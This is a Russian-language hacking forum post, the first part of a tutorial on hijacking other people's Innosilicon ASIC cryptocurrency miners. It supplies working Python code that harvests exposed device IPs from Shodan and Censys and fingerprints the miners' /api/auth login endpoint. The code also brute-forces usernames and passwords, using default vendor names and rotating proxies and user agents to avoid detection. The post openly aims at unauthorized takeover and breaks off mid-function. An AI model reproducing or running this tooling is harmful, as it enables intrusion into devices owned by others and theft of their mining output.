Брутим майнеры. Как заставить чужой асик майнить тебе. Часть 1

Messages
121
Reputation
1
Reaction score
46
Points
28
asic-bruteforce-690x480.jpg


Цены на видеокарты не дают покоя, и вы хотите отомстить майнерам? Тогда эта статья для Вас! Сегодня администрация Cybersec расскажет, как найти и сбрутить SSH, Telnet, FTP, а также веб-панели AsicMiner-ов.


Ну что, мой юный друг. Ты просил – получай. Сегодня мы научимся брутить асики, да-да. Те самые, которые майнят биткоины и прочую крипту. Ты скажешь, о, да тема стара. Да, стара. Только почти каждый месяц появляются новые асики. И все они дырявые, как швейцарский сыр. Порой доходит до абсолютно абсурдных вещей, таких, как вшитые по умолчанию пароли на ssh и telnet и элементарные LFI. Я уже даже молчу про blind RCE и прочие современные радости. Короче, надо быть совсем конченым идиотом, чтобы выставить асик в открытый интернет. Но к нашей радости страна ждёт героев, но рожают только идиотов.


Прошли те времена, когда ломали асики Bitmain и пользовали оставляли асики в открытом доступе с дефолтными паролями. Но если посмотреть с другой стороны, не так много то и изменилось. Всего стало только больше. Просто надо найти правильный подход.


Чтобы понять, что работы – непочатый край, надо просто зайти на этот сайт. А потом зайти на сайт производителя и покачать прошивки. Про Attify OS я уже писал. С помощью её инструментов можно чудесно разбирать прошивки и искать уязвимости. Но сегодня речь пойдёт не об этом.


То о чем мы тебе расскажем сегодня – проверено на собственном опыте. Тема рабочая. Да, после нас с ней стало немного сложнее, но всё возможно. Надо лишь проявить немного находчивости. Например, некоторые горе-майнеры пробрасывают асики из интранета на нестандартные порты для возможности контроля с расстояния.


А ещё существует пиратское ПО многолетней давности с дырами для управления не отдельными асиками, а целыми фермами. И люди его активно используют.


Но начнём с азов. А именно, с брута асиков. Только вместо Bitmain мы сегодня поговорим о менее распространенном, но не менее дырявом бренде – Innosilicon. Как я и говорил, я дарю тебе тему. Это основа. Как её используешь ты – решать тебе. Поехали?


Что такое асики?


В википедии сказано, что ASIC (Айсик, Асик) (аббревиатура от англ. application-specific integrated circuit, “интегральная схема специального назначения”) — это интегральная схема, специализированная для решения конкретной задачи. В отличие от интегральных схем общего назначения, специализированные интегральные схемы применяются в конкретном устройстве и выполняют строго ограниченные функции, характерные только для данного устройства; вследствие этого выполнение функций происходит быстрее и, в конечном счёте, дешевле. Примером ASIC может являться микросхема, разработанная исключительно для управления мобильным телефоном, микросхемы аппаратного кодирования/декодирования аудио- и видео-сигналов (сигнальные процессоры).


С появлением ASIC стало возможным добывать Bitcoin в гораздо большем количестве, чем с помощью видеокарт т.к. при большей мощности (скорости расчёта хеша) они потребляют гораздо меньше энергии.
izobrazhenie.png


Подготовка


Для сбора айпи, будем использовать Python с библиотеками Shodan и Censys, поэтому необходимо создать там аккаунты и получить api ключи.
izobrazhenie-1.png

Shodan
izobrazhenie-2.png

Censys

Список библиотек, необходимых для работы скрипта, который мы будем разбирать в этой статье (pip3 install название_библиотеки):


  • censys==1.1.1 – библиотека Censys;
  • shodan==1.25.0 – библиотека Shodan;
  • pysocks – библиотека, необходимая для работы с socks5 прокси;
  • requests – библиотека, через которую будет осуществляться отправка POST запросов в веб-форму админки асиков.
  • argparse – библиотека, с помощью которой мы будем запускать нужные нам режимы работы (поиск айпи, брут админки, сканирование портов и тд.).
  • datetime – библиотека, которую будем использовать для создания имён файлов (07.54_20-05-21.txt).

Если вы планируете использовать socks5 прокси, то нужно создать файл proxy.txt, в котором будут айпи вместе с портами.


Пример:
154.16.202.22:1080
151.106.34.139:1080
154.16.63.16:1080
98.188.47.150:4145
176.9.75.42:1080


Создание скрипта для поиска и айпи из Shodan и Censys


Импортируем библиотеки, создаем переменные с api ключами, стандартными портами, юзер-агентами и добавляем аргументы запуска:

import os
import time
import json
import random
import shodan
import censys
import socket
import requests
import datetime
import argparse
import threading
from queue import Queue
from censys import ipv4
from multiprocessing import Pool, freeze_support, Manager

# API ключи.
shodan_api_key = "KEY"
censys_api_key = "KEY"
censys_api_secret = "KEY"

# Аргументы запуска скрипта.
parser = argparse.ArgumentParser()
parser.add_argument("-m", "--mode", help="Режимы работы", choices=[1, 2, 3, 4, 5, 6], type=int, required=True)
parser.add_argument("-p", "--proxy", help="Использование прокси", action='store_true')
args = parser.parse_args()

# Список портов, которые мы будем сканировать в найденых айпи.
ports = [21, 22, 23, 80, 443, 2222, 8080, 8000, 8888]

m = Manager()
ip_list = m.list()
brute_data = m.list()
proxy_list = m.list()
asic_miners = m.list()
password_list = m.list()

# Список юзер-агентов.
ua = ['Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65',
'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)',
'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko)']

# Список стандартных имён, который мы будем использовать для брута юзеров.
standard_users = ["admin", "Admin", "web", "root", "innominer", "innot1t2", "miner", "inno", "administrator", "user"]

Функции поиска айпи из Shodan и Censys:

# Shodan
def shodan_scanner(dork, start=1, stop=2):
# Подключаемся к shodan используя shodan_api_key
api = shodan.Shodan(shodan_api_key)
# Загружаем результаты и сохраняем их в ip_list
for page in range(start, stop):
try:
time.sleep(0.5)
results = api.search(dork, page=page)
for result in results['matches']:
if not result['ip_str'] in ip_list:
# Выводим список айпи и сохраняем в ip_list
ip_list.append(result['ip_str'])
print(result['ip_str'])
except shodan.exception.APIError as error:
print('[!] Error: ' + str(error))
continue

# Censys
def censys_scanner(dork, records=25):
# Подключаемся к censys используя censys_api_key и censys_api_secret
c = ipv4.CensysIPv4(api_id=censys_api_key, api_secret=censys_api_secret)
# Поиск айпи
try:
for result in c.search(dork, max_records=records):
res = json.dumps(result, indent=4)
r = json.loads(res)
if r["ip"] not in ip_list:
# Выводим список айпи и сохраняем в ip_list
ip_list.append(r["ip"])
print(r["ip"])
except censys.exceptions as error:
print('[!] Error: ' + str(error))

Вызываем функции и получаем список айпи:


results_file = r’logs/’ + date + ‘.txt’
print(“\nCensys:”)
# records=47 – количество айпи
censys_scanner(“AsicMiner”, records=47)
print(“\nShodan:”)
# stop=3 – последняя страница для поиска (3 страницы ~ 47 уникальных айпи)
shodan_scanner(“title:AsicMiner”, stop=3)
f = open(results_file, “a”)
for ip in ip_list:
f.write(str(ip) + “\n”)
print(ip)
f.close()
izobrazhenie-3.png

Поиск асиков из списка айпи


Список айпи мы получили, осталось найти в этом списке асики, для этого перейдем в веб-панель, на страницу /login и посмотрим, как происходит вход в админку:
izobrazhenie-4.png

izobrazhenie-5.png


Если пользователь существует, мы получаем сообщение о неверном пароле, это поможет нам брутить юзеров, но сейчас нам важно понять, как и куда передаются логин/пароль, для этого в браузере нажимаем f12 и попадаем в средства разработчика, выбираем меню “Сеть” и пробуем войти в админку еще раз:


В поле мы видим пакеты, которые передаются методом POST:
izobrazhenie-6.png

Выбираем тот, что с файлом auth и в меню “Заголовки” можем увидеть полный путь:
izobrazhenie-7.png

Если перейти по пути из меню “Заголовки”, то мы попадем на страничку с json, в которой получим сообщение “missing username\/password fields”:
“success”:false значит, что пароль и логин не подошли, при правильной паре логин/пароль мы получим “success”:true и таким образом сможем понять какой из паролей был корректным, это мы будем использовать для брута паролей.
Теперь, когда мы знаем, как работает авторизация, можем создать функцию, которая будет искать асики и функцию, которая будет генерировать хидеры:
def headers_gen():
headers = {
'User-agent': random.choice(ua),
'Accept-Encoding': 'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Connection': 'keep-alive'}
return headers def find_asicminers(url):
# Входим в цикл while, чтобы избежать проблем с прокси
error = "Cannot connect to proxy"
while "Cannot connect to proxy" in str(error):
if url not in asic_miners:
# Библиотека requests не позволяет устанавливать кастомное количество попыток, для этого существует костыль с for retry in range()
for retry in range(16):
try:
time.sleep(0.5)
# Если при запуске программы использовался аргумент -p – включаем socks5 прокси
if args.proxy:
prox = random.choice(proxy_list)
proxies = {
"https": "socks5h://" + str(prox),
"http": "socks5h://" + str(prox)}
send = requests.post("http://" + str(url) + "/api/auth", headers=headers_gen(), proxies=proxies, verify=False, timeout=15)
else:
send = requests.post("http://" + str(url) + "/api/auth", headers=headers_gen(), verify=False, timeout=15)
# Смотрим на ответ в json
if r"missing username\/password fields" in send.text:
if url not in asic_miners:
print("[*] AsicMiner found: " + str(url))
asic_miners.append(url)
error = None
except Exception as e:
if "Cannot connect to proxy" in str(e) or "Read timed out" in str(e) or "Max retries exceeded" \
in str(e) or "Connection reset by peer" in str(e) or "RemoteDisconnected" in str(e):
pass
else:
print("\n" + str(e) + "\n")
error = str(e)
Скриншот работы функции:
izobrazhenie-10.png

Начинаем брутить веб-панель!
Когда мы получили список айпи асиков, можно начать брутить юзернеймы. Создаем функцию (использовать ее мы будем не часто, ведь admin это юзер по умолчанию и его не меняют), которая будет брать юзернеймы из standard_users и в цикле for пробовать каждый из них:
def web_user_brute(url):
for user in standard_users:
data = {"username": user, "password": "password"}
error = "Cannot connect to proxy"
while "Cannot connect to proxy" in str(error) or "Max retries exceeded" in str(error):
time.sleep(0.5)
try:
# Если при запуске программы использовался аргумент -p – включаем socks5 прокси
 
Top